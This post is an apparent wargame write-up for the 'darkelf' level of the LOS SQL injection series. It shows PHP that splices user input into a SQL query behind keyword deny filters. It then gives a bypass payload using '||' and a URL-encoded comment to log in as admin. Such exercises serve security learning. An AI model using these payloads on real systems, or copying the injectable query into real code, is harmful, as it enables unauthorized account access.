Post

LOS Lv.6 darkelf

darkelf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
query : select id from prob_darkelf where id='guest' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

Solution

1
2
3
4
or= ||, and = %26%26(&의 urlencode 값) 이므로 이를 이용함. 
(and는 &를 입력해보니 & 포함 뒤에 값이 아예 안나오게 함.) 

?pw=' || id='admin' %23
This post is licensed under CC BY 4.0 by the author.